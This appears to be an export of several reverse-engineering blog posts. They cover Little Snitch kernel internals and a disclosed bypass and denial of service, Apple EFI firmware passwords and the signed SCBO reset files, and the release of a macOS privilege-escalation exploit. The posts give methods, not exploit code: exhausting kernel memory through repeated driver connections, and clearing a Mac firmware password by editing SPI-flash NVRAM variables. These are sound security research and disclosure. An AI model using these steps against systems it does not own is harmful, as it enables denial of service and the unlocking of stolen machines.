enqueue and user-space dequeue methods follow a strict set of guidelines, no locks are necessary to maintain the integrity of the data struct.\nEach data entry can be variable sized, but the entire size of the queue data region (including overhead for each entry) must be specified up front.\nIn order for the IODataQueue instance to notify the user process that data is available, a notification mach port must be set. When the queue is empty and a new entry is added, a message is sent to the specified port.\nUser client code exists in the IOKit framework that facilitates the creation of the receive notification port as well as the listen process for new data available notifications.\nIn order to make the data queue memory available to a user process, the method getMemoryDescriptor() must be used to get an IOMemoryDescriptor instance that can be mapped into a user process. Typically, the clientMemoryForType() method on an IOUserClient instance will be used to request the IOMemoryDescriptor and then return it to be mapped into the user process.\u0026rdquo;\nIODataQueue will create a variable-sized shared memory segment between the kernel and the user application, and the kernel will notify the user application when data is available via Mach messages. The following Apple Mailing list post describes all the necessary steps to implement this in the driver and user application.\nWe know that IORegistryDescriptorC5 class implements this feature because it overrides the registerNotificationPort() and clientMemoryForType() methods, and also initWithTask().\nIf we take a look at initWithTask() method we can’t find anything related to IODataQueue there. The relevant portion is instead found in the start() method.\nSo every time a user application tries to connect to the driver using IOServiceOpen() with type 0x7DD1 a new IODataQueue will be created in the kernel. This leads us to another vulnerability: a denial of service. For some reason (someone forgot to do so?) the IORegistryDescriptorC5 class doesn’t attempt to validate user clients. This means that we can create a small user application that does nothing but open connections to the driver with type 0x7DD1, creating thousands of IODataQueues until we exhaust kernel memory. When that happens the system will simply hang or kernel panic. A virtual machine with 2GB of memory is exhausted in less than a minute, while a Mac Pro with 32GB of RAM takes around 15 mins using a single thread (the 8 cores can probably be used to kill it much faster). In my case the kernel finally panicked via a watchdog time out.\nThe method that is responsible for enqueueing the kernel data is located at 0x9F74, which we can find in IORegistryDescriptorC5 class definition.\nComputing the offset in the class definition we get a value of 0x970, which we can use to locate callers of this method by searching for this offset in the disassembly. Only the method at address 0x9FC0 (another method of this same class) uses this offset for calls. Now searching for offset 0x978 since it is the next method in the class, there is only one interesting hit, at function sub_9AD0. Looking at its code references we see it being called by some of the socket filter’s callbacks.\nWe can use the ioreg cmd line utility to verify who is using this service. Only Little Snitch Daemon has connections — five, to be precise.\nWe can peek at the data being sent by adding a breakpoint in the enqueue method. I am not going to describe it here.\nOne thing is missing from this analysis: how is the data sent when a connection is initiated?\nWe have seen that code references to the data enqueue don’t have the connect_* socket filter references. The connect_out callback is the first hit we get after the attach callback when we try to connect somewhere.\nThere is a function at address 0x1A10 that is responsible for this, as I have tested to skip and play with its return results. The function is huge with many calls to other functions so I haven’t fully reversed it yet. It references the following source code file /Users/karl/Developer/PrivatProjects/Snitch/LittleSnitch/LSKernelExtension/Allow.c so this looks like a pretty good candidate. Looking at its references we see the data socket filters are also using it.\nThe reason for this is that if the rule is deleted after a connection was authorized and established this will trigger a new user approval request, which is obviously a good design.\nOne thing I know is that connect_out filter is not using the sub_9AD0 function (that will enqueue data) because if we patch the call to enqueue data there the alert will still show up. After writing these paragraphs, my curiosity flared and I decided to try once more to find how the data is sent to user application on new connections.\nI decided to trace which methods were called from the user clients. This can be done by breakpointing the externalMethod() method at address 0xDC6A and examining each value in the RSI register (which is the current method number). Two interesting methods are used when a new connection is created, 6 and 7. Since method 7 has more hits let’s start with it. The code is small and doesn’t contain much of interest except a call to function at address 0x14F4. This is a structure output method, with a a structure 0x83C bytes long — quite a significant amount of data.\nWhat this function does is copy values from an internal structure to the (different) output structure. We determine the meaning of the output structure with a kernel debugger to get the following (incomplete) definition:\nThe path explains the large size of the structure and if we modify its contents in a kernel breakpoint we will get the modified information displayed in the user alert. Clearly this is the code where information is sent to the user application. Let me remind you that these methods are user application initiated so contrary to my previous statement there is indeed some kind of polling from the user applications about new connections. Now it is interesting to understand how this is implemented.\nThere is an important clue here:\nWhat I label as current_connection_struct_ptr is where the trick is. It is a pointer to a structure that contains information about the new connection. After some tests we observe that this variable has two states, a value of zero (meaning no new connection) and a pointer to an allocated memory structure (experiment with different connections and we get different values there).\nMy hypothesis is that this implements a serial queue design to guarantee that there is guaranteed synchronization between a new connection and user decision. Queueing events wouldn’t bring any improvement since the user has to make a decision case by case.\nI tried to find where that pointer was being set to confirm that this happens somewhere inside the big function at 0x1A10 (the one I called FG_call_userland_decision). There were a few references but the breakpoints would never trigger there. The reason is that there is another pointer after current_connection_struct_ptr that points back to it, and that is the one used to update with new connections. And here is where the new connection is set and made ready for user application to grab via method 7.\nTo complete the theory that it was a memory allocated structure we need to find where the value in R14 was initially set. We need to go way back in the code to this point:\nIf you breakpoint here, and compare the allocated pointer with the one being copied from method 7 you will see that they match. So it is starting to make sense that when I patch 0x1A10 to not execute, nothing happens in the user application – no data is created about the new connection.\nAnd finally the last piece of this puzzle! If method 7 is used to retrieve information about the new connection, how does the user application know when to execute it without polling? A breakpoint on method 7 is only triggered when a new connection happens, so there is no polling. The answer lies a bit forward in the same 0x1A10 function.\nThe kernel thread will sleep waiting for modifications on the structure pointer. This is the moment when the kernel is waiting for the user to make a decision about the current new connection. When the decision is made the kernel thread will resume. This still doesn’t explain the lack of polling. The answer is a few bytes before this previous code snippet.\nThe only argument wakeup() receives is the channel, in this case a pointer to address 0x196E4. This means the function will wakeup some kernel thread that was sleeping with msleep().\nIf we look at the references to the channel we get a data reference to the function responsible for sending that thread into sleep.\nThis function sub_F8BB is referenced by method at 0xDE32, which is one of the Little Snitch methods defined on class IORegistryDescriptorC1, and called by method number 6, which explains why we saw this method when tracing new connections. The puzzle is finally solved!\nWhat happens is that Little Snitch Daemon uses method 7 to retrieve the new connections data from the kernel, and then uses method 6 to signal it has all the data it needs, sending its respective thread into sleep. When a new connection happens, the kernel will signal the daemon thread that is waiting for notifications to wake up, and then the daemon once more executes method 7 to retrieve the new connection data. While the user is making a decision, the kernel thread corresponding to the new connection sleeps until there is a response, so the application thread execution is blocked until there is a Little Snitch response (or timeout).\nWe observe what happens in the user application by taking a sample of the Little Snitch Daemon:\nThe 0x10ae9ea32 address (ASLRed address!) in the sample is the function where Little Snitch Daemon executes method 6. This function is called from a method named waitNotificationLoop:, which contains next a call to another method called newKextNotification.\nThe mystery is finally solved and we can see how Little Snitch guarantees the serial decision on each new connection and guarantees that processes can’t do anything with connections until the user makes a decision (assuming no bypass vulnerabilities).\nIn theory IODataQueue could be used for this task, but I think this design is still present because it was devised before IODataQueue became available.\nI left one thing out of this analysis, which is what happens for rules that are temporary or permanent. Either the kernel has a cache of those rules to avoid querying the rules in userland, or it does query userland every on every connection (which doesn’t sound very performant). For example, when a rule is deleted there is a method executed by user applications, which is an interesting clue to understand this process.\nConclusion Finally the end of a very long and interesting reverse engineering blog post. We have reversed some of Little Snitch kernel component internals and design, and disclosed two vulnerabilities, a critical one that allows to bypass or disable Little Snitch protection, and a simple denial of service that will just hang or kernel panic the host machine.\nLittle Snitch developers Objective Development already released version 3.6.4 with fixes for both problems. Hat tip to them for the quick fix turnaround and pleasant no-drama email exchange regarding these issues. You should update your copy of Little Snitch as soon as possible.\nNaturally people will wonder if they should use Little Snitch or not, since the reality is that it increases the (potential) attack surface. This is not an easy question to answer. Personally I still think it is a very useful piece of software and I will remain a user. Like every piece of software (and more important security software) it needs (external) audits. Users should not assume that security software has received security scrutiny, which is a very common assumption. It is practically impossible for Objective Development to open-source their product (look at the amount of people trying to pirate it!) but now you have a better understanding of its internals, so you can grab your disassembler and debugger and continue to audit this software.\nHope you have enjoyed this!\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2016/07/22/shut-up-snitch-reverse-engineering-and-exploiting-a-critical-little-snitch-vulnerability/","summary":"\u003cp\u003e\u003cem\u003eLittle Snitch\u003c/em\u003e was among the first software packages I tried to reverse and crack when I started using Macs. In the past I reported some weaknesses related to their licensing scheme but I never audited their kernel code since I am not a fan of \u003cstrong\u003eIOKit\u003c/strong\u003e reversing. The upcoming DEF CON presentation on \u003cem\u003eLittle Snitch\u003c/em\u003e re-sparked my curiosity last week and it was finally time to give the firewall a closer look.\u003c/p\u003e","title":"Shut up snitch! – reverse engineering and exploiting a critical Little Snitch vulnerability"},{"content":"My original goal when I started poking around Apple’s EFI implementation was to find a way to reset a MacBook’s firmware password. My preliminary research found references to a “magical” SCBO file that could be loaded onto a USB flash drive and booted to remove the password. The normal process workflow is to first contact Apple support. Since I don’t have the original sales receipt of this specific Mac, I assume this option isn’t possible, since anyone with a stolen Mac could get the password reset. Things got more interesting when I found a website that allegedly sold the SCBO files – just send them the necessary hash (more on this later), pay USD100, and get a working SCBO file in return. There are videos (in Portuguese but you can watch the whole process) of people claiming this works, and even some claims about an universal SCBO that unlocks multiple Macs.\nSince there was (stil holds true) virtually no information about the SCBO contents, this aroused my curiosity but I never followed up until now. Upon my return from SyScan360 Singapore, I needed a new research direction to kickstart my brain back into work, and this fit the bill.\nThe core question I wanted to answer was if it was really possible for someone to build a SCBO file key generator. If this were true, it would imply that Apple’s EFI contains a significant vulnerability. Understanding how SCBO files work in the first place was also intriguing. So let’s start another EFI reversing engineering adventure\u0026hellip;\nAt the time I could only find a single SCBO file on the Internet, which is bad (impossible to visualise differences between files) but better than no file at all. The sample file can be downloaded here SCBO_original.zip.\n(SHA256(SCBO_original)= fad3ea1c8ffa710c243957cc834ac1427af0ea19503d9fc7839626f6cac4398b)\nThis picture shows us the full contents of the sample file. The SCBO string is clearly visible in the first four bytes, which is a magic number (0x4F424353). A couple of bytes later and we see another string. It appears to be some kind of serial number. This information can be verified because part of this string can be found in the motherboard of each Mac (my sample is only composed of MacBooks but I guess iMacs and others will contain the same information). The rest of the string and binary data that follows are unknown for now. The total file length is 324 bytes.\nHow are the SCBO files generated? As previously mentioned, Apple support is able to generate these files after you provide some key information. To obtain the necessary information, you must hold SHIFT + CONTROL + OPTION + COMMAND + S on the firmware password prompt screen and a string will be generated. This is the string Apple support needs, and this is the same string we see inside the SCBO file. The first digits are the machine serial number as previously described, and the last sixteen digits are a nonce value regenerated every time the firmware password is set, removed, or modified. I know this because I had already reversed Apple’s Firmware Password Utility and observed its communications with the kernel extensions that set the EFI NVRAM variables.\nNow that we know a bit more about its contents, can the sample SCBO be modified and reused to reset any other Mac’s firmware password?\nThe answer is no. If we set a firmware password on a test Mac, generate the necessary string, and modify the SCBO accordingly, nothing will happen. The computer will process the file and reset the system, but the password isn’t reset.\nThis provides us with another bit of information – that there is some kind of integrity check on the SCBO contents. It would be a surprise if this kind of check wasn’t implemented and anyone could modify the SCBO contents.\nSo if this is true then how is someone selling what appear to be fully working SCBO files? We need to dig deeper and reverse the EFI code responsible for processing this file.\nAnd now let’s start the real reverse engineering fun!\nThe first thing we need to do is to extract all the EFI binaries either from a flash chip dump that holds EFI contents or from a SCAP file found in EFI updates (for unknown reasons the fd format is also used for some Macs). I maintain an up-to-date Apple firmware update repository, which you can use to easily download EFI updates or verify the contents of your EFI flash if you fear nation states are attacking you. The great UEFITool can easily extract contents from dumps and SCAP (to mass extract all the files use UEFIExtract utility instead). You will need UEFITool’s new_engine branch if you want support for NVRAM partition contents (which is super useful feature, thanks Nikolaj!).\nThe target Mac used on this post is a MacBook Pro 8,2 and the files were all extracted from this firmware update file, MBP81_0047_2CB_LOCKED.scap. You can use other firmware files – the GUIDs will still be the same but addresses and some content might differ. With the payload extracted we can finally try to find where to start reversing. The initial best clue is the magic value from the SCBO file, since it should be checked somewhere in the code. My favorite tool for this type of task is bgrep aka binary grep. It allows us to grep files for specific byte sequences, an extremely useful feature to locate binary data. The bytes we want to grep for are 5343424F, the SCBO magic value. If you want to grep for strings please remember that most strings in EFI binaries are Unicode (two bytes wide).\nThere is only a single hit, a DXE phase binary with GUID 9EBA2D25-BBE3-4AC2-A2C6-C87F44A1278C. In (U)EFI world there are no filenames, everything is referenced by a 128 bits GUID.\nIt is time to load the binary into a disassembler and try to understand what is happening. We can observe the magic bytes being tested in the following piece of code:\nThis means that we have a good entrypoint into this problem and now need to reverse backwards to understand what this function is trying to accomplish and how is it called.\nWhat is the procedure to use the SCBO file? To assist our reversing engineering effort it is important to collect as much data as possible about our target works. The following describes how to use the SCBO file to reset the firmware password:\nFormat a Flash drive GUID partition scheme and Mac OS Extended format. Name it Firmware (note: doesn’t really need to be Firmware!). Drag the binary file named “SCBO” to your Desktop. Open Terminal. Execute this command in Terminal:\ncp ~/Desktop/SCBO /Volumes/Firmware/.SCBO\nYou should get a new line, no errors. Execute this command in Terminal:\ncp ~/Desktop/SCBO /Volumes/Firmware/._SCBO\nYou should get a new line, no errors. Eject the Flash drive. Turn off the customer’s computer. Insert the Flash drive into the customer’s computer. Turn on the customer’s computer while pressing and holding the Option key. You should see the lock symbol for a moment, and then the computer should restart to the Startup Manager. This gives us important clues to what we should be looking for – code that has access to the filesystem and reads one of these two files. If we look at the strings of current disassembled binary we can see we are on the right track.\nThe .SCBO filename that is copied into the flash drive is referenced in the strings, althought IDA is unable to find any string references to it (IDA bug? most probably!).\nReversing (U)EFI binaries is quite annoying because every external function is a function pointer, so the disassembly output is not very clear and needs some assistance to improve it. Snare created ida-efiutils, a set of scripts that improve the disassembly output by trying to rename function pointers, offsets, and structures. Because I wanted a couple of more features than it provides and I’m not a Python fan I ended up creating my own IDA C plugin for this task called EFISwissKnife.\nIt does extra things like commenting the known functions with their prototype and documentation, generate some statistics, and extract information about installed and used protocols into a database. This makes it very easy to find out which binaries are installing and using a certain protocol, avoiding tons of binary grep’ing and wasted time finding which module implements a protocol.\nThe next picture shows the start() function as IDA disassembles without any plugin help.\nAnd here we can see the result after running EFISwissKnife.\nIn this case it was able to identify two (U)EFI Boot services being called, SetWatchdogTimer and LocateProtocol, and also comment the GUID used by LocateProtocol.\nThe statistics feature gives us some information about the GUIDs we were able to locate in this binary and which (U)EFI RunTime and Boot services are used. This is very useful information to have a quick idea of what the binary is doing.\nWith improved disassembly output we can proceed to try to understand what happens with the SCBO file. Because reverse engineering is more of an art and less of a science, I’ll start by telling you what happens and then walk you through how it happens.\nWhat happens is that an event notification is installed by this EFI binary. When a USB flash drive is inserted, it triggers the notification and a callback is executed.\nOne of the callback tasks is to try to read the SCBO file from the flash drive and verify if its format is correct (checking the magic number, etc). If the SCBO contents appear correct then a new EFI NVRAM variable will be set, .SCBO_0000 using GUID 5D62B28D-6ED2-40B4-A560-6CD79B93D366. This GUID can also be found in the Firmware Password Utility. This GUID is not unique to this variable and it is used for other variables, e.g. FWAppCmd. The variable can be observed in NVRAM when a new password is set, changed, or removed by Firmware Password Utility. If the .SCBO_0000 variable is set succcessfully then the system will be reset via ResetSystem service.\nThe event notification code can be found at start(). The following code snippet is responsible for creating the event:\nThe most interesting thing in this code is the third parameter to CreateEvent service, NotifyFunction. This is the callback that gets executed when the event triggers. The code that follows merely registers the event, in this case a file system related event.\nNow let’s start looking at the callback code. The first interesting detail is that it tries to locate a new protocol with GUID 75FAB4B4-6AC1-429A-A000-6B0B95E71CA1. This protocol is installed by EFI binary with GUID 818544B5-1B9D-4E7B-8F7D-835AAEAF3B5C. The code continues and we finally reach the interesting code snippet that handles reading the SCBO file contents (I renamed the original function to read_scbo_file_contents).\nInside this function we can observe certain file operations.\nThe code above is responsible for opening the USB flash drive volume so it can read its contents. In this particular case we need to check the layout of the EFI_SIMPLE_FILE_SYSTEM_PROTOCOL_GUID protocol so we understand what each function pointer of the protocol is doing. Usually I grep EDK2 sources to find the protocols, even if the EDK2 specification is more advanced than Apple’s EFI fork (the AMIBios source leak is also a good place to search, in particular code that is outside of EDK2 such as power management). The following snippet shows the EFI_SIMPLE_FILE_SYSTEM_PROTOCOL structure:\nThis protocol contains a single function, OpenVolume. It is interesting to read its description to understand what will happen if it executes successfully.\nThe OpenVolume function will open the root directory of a volume (the USB flash drive in our case) and return a EFI_FILE_PROTOCOL handle. We need to look at another protocol to understand its features. While reversing (U)EFI we are constantly grep’ing the sources to find information about many kinds of protocols and functions. There are no man pages to save us!\nWe can observe that EFI_FILE_PROTOCOL supports the basic functions we need to read and write files on a filesystem. The staggering amount of protocols are a bit annoying to the reverser, but after a while we start appreciating some elegant parts of (U)EFI’s design.\nThe previously posted disassembly snippet first tries to open the root volume, and if it succeeds uses the returned handle to try to open the .SCBO file from the USB flash drive volume. If it manages to open the file, it uses the GetInfo function from the EFI_FILE_PROTOCOL to find the file size, then allocate the necessary memory, and finally read its contents into the allocated buffer.\nThe file is read in two steps, first 12 bytes, which is the size of SCBO header. If the header contents appear correct then the remaining is read.\nWe can observe in the above code snippet the first 12 bytes being read, and then the verification of header structure. The SCBO file supports multiple units of data, meaning that a single USB flash drive could potentially reset the password of more than one Mac. This may be pretty useful for a system administrator that has to reset many Macs. This could explain the rumored “universal” reset SCBO, which could be a file with multiple units – this is just pure speculation since that file isn’t public. The rest of the function resets the file position back to the beginning and reads the whole SCBO contents into a previously allocated memory buffer.\nIf the SCBO contents were read successfully, the next step is to call a function from another protocol that will verify if the Mac’s serial number and current nonce match the contents of the SCBO file. Remember that the nonce is rotated every time the firmware password is modified.\nIf the serial and nonce are confirmed to be correct, then a new variable named .SCBO_0000 will be set in the EFI NVRAM area and the system will be reset if there are no more units to process in the SCBO file. The new variable contains all the SCBO data minus the 12 bytes header: 312 bytes total length.\nNow we understand a bit more how the SCBO feature works.\nIf the SCBO file contents match the current Mac, a new variable is set and the computer is rebooted before any other operations. This means that there will be another EFI binary reading and processing the new variable. The current binary is only responsible for reading the SCBO file and doing basic integrity verification but it has no capabilities to remove the firmware password. This feature is reserved to the 818544B5-1B9D-4E7B-8F7D-835AAEAF3B5C binary.\nThe .SCBO_0000 variable can be seen in the following firmware dump. If you look at the body size of this variable it’s 312 bytes, the expected value.\nThis ends the reversing process regarding 9EBA2D25-BBE3-4AC2-A2C6-C87F44A1278C binary. We now know what it does and we can move to the really interesting binary.\nBefore starting to reverse the new binary let’s first understand how the firmware password feature is implemented.\nTwo years ago I reversed the Firmware Password Utility and built a small EFI password bruteforcer based on that work. My work helped me determine that the EFI variable that contains the firmware password information is CBF2CC32. The password is stored as a Message Autentication Code (MAC) using SHA256, with a variable number of rounds. Bruteforcing the firmware password is useless for any password longer than four digits, since the high number of rounds makes it impossible within a reasonable time frame. The following structure can describe the variable contents:\nGiven this structure a bruteforce utility just needs to retrieve this information via IOKit and start bruteforcing until the password matches the current hash. This takes a couple of minutes for a four digits password.\nLet’s take a quick look at the main() function of the new EFI binary we want to reverse.\nThe main() function is pretty simple. First we have the usual storage of BootServices and RunTimeServices table pointers in local variables, then a call to a function, and last the installation of the protocol that is called from the first EFI binary we reversed.\nThe installed protocol is composed of seven function pointers. The function called from the first binary is at offset 0x18, sub_10000828. It is interesting to verify which EFI binaries are calling this protocol. This is very easy with EFISwissKnife database:\nThe first column contains the GUID of EFI binaries that are using this protocol. The binary that is involved in EFI firmware password verification is 2D61B52A-69EF-497D-8317-5574AEC89BE4. This binary installs another protocol that is called from some other binary – probably the binary that deals with the user input and screen drawing, which I was unable to pinpoint.\nIf you try to patch this function to always return zero, pack it again into a firmware dump, and reflash it, then any firmware password will be accepted. This means we are on the right track.\nNow I’m just rewriting the story, because what I initially did before starting to reverse everything was to use Trammell’s infinite loop trick on each function of 75FAB4B4-6AC1-429A-A000-6B0B95E71CA1 protocol, and after finding the interesting ones I patched them to return zero and found out which function verifies the password, the first one from the protocol.\nThe sub_10000704 protocol function will retrieve the CBF2CC32 variable, generate the hash from the user-inserted password and compare with the information in the variable. SHA1, SHA256 and SHA512 constants can be found at the 818544B5-1B9D-4E7B-8F7D-835AAEAF3B5C binary.\nIf you have a SPI flasher and want to remove an Apple EFI firmware password, what you need to do is to dump the flash contents, remove the CBF2CC32 variable (you just need to flip a single bit on its name for example), and reflash the modified firmware. Or just locate the variable and erase or modify it directly without reflashing the whole contents.\nThere is also another way to do this. The 3E6D568B variable is special because if you remove it, the NVRAM will be reset to a default state where the firmware password is not set anymore.\nSo there you go: you don’t need to search any more web forums and buy some overpriced EFI password reset hardware. You only need a SPI flasher and a SOIC clip and you can do it yourself.\nIf you look at all the remaining functions from this 75FAB4B4-6AC1-429A-A000-6B0B95E71CA1 protocol there is nothing related to SCBO except the one called by the 9EBA2D25-BBE3-4AC2-A2C6-C87F44A1278C binary that just verifies if the SCBO serial and nonce match the current Mac (Picture 15, offset 0x18, sub_10000828).\nThis means that the .SCBO_0000 variable is being processed somewhere else. The answer is the sub_10000314 function called in main() (Picture 18). This is the function that will process the variable and reset the NVRAM in case there is a problem with 3E6D568B variable as I just mentioned.\nHere at the beginning of sub_10000314 function the variable 3E6D568B is retrieved from the NVRAM and if doesn’t exist the code flow will be redirected to address 0x100003CD.\nThe code that starts at address 0x100003CD in the above screenshot deletes a couple of variables, including CBF2CC32 (the first one being cleared), and creates 3E6D568B again so the Mac doesn’t get stuck in a loop of doom. I labelled the function zero_EFI_variable but what it does is delete the variable by setting the DataSize parameter to zero. From (U)EFI documentation \u0026ldquo;a size of zero causes the variable to be deleted\u0026rdquo;.\nThe next problem is how to track the code that processes the SCBO variable?\nStatic analysis is not always easy on (U)EFI binaries because we have very limited ways to test hypothesis – each reflash takes around 5 to 8 mins if we want to patch code and see what happens. We also don’t have easy access to debuggers – JTAG debuggers for (U)EFI are expensive – some cost 6k USD or more.\nI already had reversed many parts of this large function and other functions it calls, but I was still having trouble finding the code that processes the SCBO variable contents, and I didn’t want to really reverse everything and/or keep using the slow patch and reflash method.\nThis is when I had an idea! How about creating an EFI emulator and debugger using the Unicorn Engine framework? I had a feeling this wouldn’t be extremely hard and time consuming because the EFI environment is self contained – for example no linkers and syscalls to emulate. I also knew that this binary was more or less isolated, only using a few Boot and RunTime services and very few external protocols. Since the total number of Boot and RunTime services are very small this meant that there wasn’t a lot of code to be emulated.\nAnd with a couple of days work the EFI DXE Emulator was born. To my surprise I was finally able to run and debug an EFI binary in userland, speeding the reverse engineering process up immensely and quickly providing insight to previously tricky code.\nI gave it a gdbinit-style UX and emulated some basic commands such as add breakpoints, step in and step out of calls, dump memory, set memory and registers, making it a very basic but extremely useful EFI debugger. It has some limitations (can’t change directly RIP or EFLAGS registers) due to Unicorn/QEMU JIT design but it is definitely usable for basic tasks. I emulated the core Boot and RunTime services such as get and set variables, NVRAM area, allocate/copy/set memory, load additional images and install/locate new protocols. While far from feature and emulation complete this is a pretty useful tool that was a critical development on this and future (U)EFI projects.\nOnce again let’s do this backwards and start with the conclusions. After I finished reversing this function I finally understood the SCBO feature. First the SCBO file structure can be described by the following data structures:\nThe unknown binary data we initially saw is nothing but a 2048 bit RSA signature. Unless someone got hold of Apple’s private keys, there is no possibility of building a SCBO key generator. So what is happening with all those videos and people claiming they were able to buy SCBO files from websites? My bet is that these guys somehow are able to submit illegitimate requests to Apple’s support system and then sell the SCBO files they receive for some nice fat profit. These could be insiders working at Apple support centers or even Apple itself. Only Apple has a real chance to investigate and track the source of these files. Another alternative is that there is a vulnerability I wasn’t yet able to find. The code and design appear solid and I saw no obvious vulnerabilities.\nTo verify this hypothesis outside EFI code I adapted some code I previously used to verify the signatures of SCAP firmware updates and voila, I was finally able to verify that the SCBO file I had was indeed a valid SCBO file signed by Apple and it wasn’t possible to modify it to run on other machines unless I patched some firmware code (which is useless since if you can patch firmware code, it would be easier to just reset the variables).\nThe core function that deals with SCBO contents is sub_100021F0. One of the first things it does is to allocate a 0x110 (272) bytes buffer to hold Apple’s public keys.\nThe buffer has the following data structure:\nThe function at address 0x1000128C will be responsible for retrieving Apple’s public keys from the EFI “file system”. The firmware contains five different 2048 bits public keys. They can be found on EFI file B2CB10B1-714A-4E0C-9ED3-35688B2C99F0.\nEach raw file is 276 bytes meaning that the first 20 bytes are just some meaningless header. We just need to remove those 20 bytes and we get the 256-byte public key. One important detail described by Trammell Hudson in his Thunderstrike presentation is that the key bytes are inverted. If we want to use this public key in our own utilities, we need to reverse its bytes. Once again the keys aren’t directly extracted by a function – there is as usual a protocol that implements this feature. This protocol has GUID AC5E4829-A8FD-440B-AF33-9FFE013B12D8, and is installed by binary 8B24E4D4-C84C-4FFC-81E5-D3EACC3F08DD. There is no point in reversing the whole protocol; I saw that it was retrieving the Apple public keys and that’s it.\nTo avoid emulating filesystem-related operations I simply enabled a Unicorn code hook and injected the correct public key. The public key used to verify the SCBO signature is the third one on Picture 33, with a SHA256 of 94218318fe5aaada2889bbd5f9789cf4afa15bd6eb7654ad66f1f199cf70f8ad (for the whole raw file as extracted by UEFITool).\nAnother 32-byte buffer will be allocated to hold a SHA256 hash. We will see later on that this buffer will hold the checksum of the first 56 bytes of the SCBO variable.\nNext is the extraction of the serial number from physical memory at address 0x0FFFFFF08. If you boot a Linux installation and use CHIPSEC to read the physical memory you are able to read the Mac’s individual serial number (on older macOS versions you could also use AppleHWAccess.kext or DirectHW.kext to read the memory but they are now blacklisted on El Capitan and Sierra).\nThe current nonce on variable BC9772C5 is extracted next. The goal is to build the same serial+nonce string that is found in the SCBO.\nWe can observe this in the debugger, before the call to the function that does the printf and after the call.\nThis generated string will be used to replace the serial+nonce that exists in the SCBO buffer. The signature verification code will use the current values from the Mac instead of the values in the SCBO file.\nRight after this we have the hashing of 56 bytes from the SCBO contents, field1, field2, and serial+nonce from SCBO_CONTENTS structure described before.\nWe can observe the result in the debugger. If we extract the contents from the SCBO file and hash them they should match, meaning that we are on the right track.\nThe final step is to verify the RSA signature to guarantee that the serial+nonce wasn’t tampered with.\nBecause there are more than one Apple public key we can see a loop, meaning that the signature will be verified against all Apple keys found in the firmware “filesystem”. If one returns a valid result then the password will be removed by clearing the CBF2CC32 from NVRAM.\nThe DataSize parameter (R9 register at address 0x100024F8) is zero so the variable will be deleted from NVRAM. This code once again shows that the EFI password feature is definitely implemented via the CBF2CC32 NVRAM variable.\nAnd that’s it. The SCBO mystery is finally solved and its format understood. With the precious assistance of my EFI DXE emulator and debugger I sped up the reverse engineering effort. The SCBO feature design is robust, and the only mystery I haven’t solved right now is how someone is apparently selling working SCBO files on the Internet. My bet is on insider access to Apple systems via Apple Support centers or something like that, but once again only Apple can really investigate the root cause.\nIf you lost your firmware password you can now reset it yourself as long the SPI flash chip is not the new BGA type (newer Macs are using them but there is a sneaky debug port that can be used for this same purpose!). You just need a device to dump the flash chip, remove the variable and reflash the modified version, or directly remove the variable (I always prefer to full dump and reflash).\nOf course this information can be used by thieves selling stolen Macs, but given that there are already defeat devices being sold all over the web, this post does not reveal any previously-unknown secrets.\nI hope you enjoyed this post, and I also hope you are now interested in (U)EFI reversing. It’s not as easy as userland or kernel reversing due to the lack of debuggers, but with some extra work those difficulties can be solved. For the moment I am not going to release the code for my EFI emulator. I am fed up with people stealing my code without giving proper attribution; recently I discovered a couple of cases of stolen code and even modified credits. It is really annoying when I demand nothing but credits and code licensing is pretty much liberal.\nHave fun,\nfG!\nP.S.:\nThanks to Jeffrey Czerniak (@geekable) for pre-publication editing.\nUpdate 1:\nBiases are part of being Human and knowing them doesn’t make you immune. Since I was looking for an excuse to use Unicorn I didn’t even bother to search for EFI emulators, which was good since it was heaps of fun to write my own and dominate Unicorn engine, something that will be very useful for other projects. EDK2 has an emulator package (blog entry on how to install it), and there is also efiperun project here. I would expect them to run with Apple EFI binaries since basic services are the same. Need to give it a try. If you do that before me please update me how it went.\nUpdate 2:\nWhere I refer to machine serial number I am talking about the motherboard’s serial number and not the one outside on the back. You have to open the Mac to access it.\nUpdate 3:\nIf you bothered to read this from start to end you would understand that there is no way for an outsider to generate the codes to reset your Mac firmware. So please stop sending me emails and comments asking for it.\n","permalink":"https://reverse.put.as/2016/06/25/apple-efi-firmware-passwords-and-the-scbo-myth/","summary":"\u003cp\u003eMy original goal when I started poking around Apple’s EFI implementation was to find a way to reset a MacBook’s firmware password. My preliminary research found references to a “magical” \u003cstrong\u003eSCBO\u003c/strong\u003e file that could be loaded onto a USB flash drive and booted to remove the password. The normal process workflow is to first contact Apple support. Since I don’t have the original sales receipt of this specific Mac, I assume this option isn’t possible, since anyone with a stolen Mac could get the password reset. Things got more interesting when I found a website that allegedly sold the SCBO files – just send them the necessary hash (more on this later), pay USD100, and get a working SCBO file in return. There are \u003ca href=\"https://www.youtube.com/watch?v=1Y9V0YA1PN0\"\u003evideos\u003c/a\u003e (in Portuguese but you can watch the whole process) of people claiming this works, and even some claims about an \u003cstrong\u003euniversal SCBO\u003c/strong\u003e that unlocks multiple Macs.\u003c/p\u003e","title":"Apple EFI firmware passwords and the SCBO myth"},{"content":"The exploit for the bug I presented last March at SyScan360 is today one year old so I decided to release it. I wasn’t sure if I should do it or not since it can be used in the wild but Google Project Zero also released a working version so it doesn’t really make a difference.\nI’m also publishing here the final version of the slides that differ slightly from the version made available at the corporate blog.\nYou can find the slides here and the PoC code at GitHub.\nThe exploit code is slight different from Ian Beer exploit so you probably might want to give it a look. It’s a pretty clean and neat exploit.\nYou can find Ian Beer’s blog post about this bug here. Bug collisions are not fun, I expected this bug to be alive for a lot longer but Ian Beer is awesome, so hat tip to him.\nThe bug itself is super fun since it allows you to exploit any SUID binary or entitlements, meaning you can escale privileges to root and then bypass SIP and load unsigned kernel extensions with the same bug. Essentially, massive pwnage with a single bug. The only thing missing is remote code execution. Ohhhhh 😦.\nEvery OS X version except El Capitan 10.11.4 is vulnerable so if you are running older systems you should consider upgrading asap (they are also vulnerable to other unpatched bugs anyway!).\nHave fun,\nfG!\n","permalink":"https://reverse.put.as/2016/04/27/syscan360-singapore-2016-slides-and-exploit-code/","summary":"The exploit for the bug I presented last March at SyScan360 is today one year old so I decided to release it. I wasn’t sure if I should do it or not since it can be used in the wild but Google Project Zero also released a working version so it doesn’t really make a difference.\nI’m also publishing here the final version of the slides that differ slightly from the version made available at the corporate blog.","title":"SyScan360 Singapore 2016 slides and exploit code"},{"content":"Nothing 😃.\nHackingTeam was deeply hacked in July 2015 and most of their data was spilled into public hands, including source code for all their sofware and also some 0day exploits. This was an epic hack that shown us their crap internal security but more important than that, their was of doing things and internal and external discussions, since using PGP was too much of an 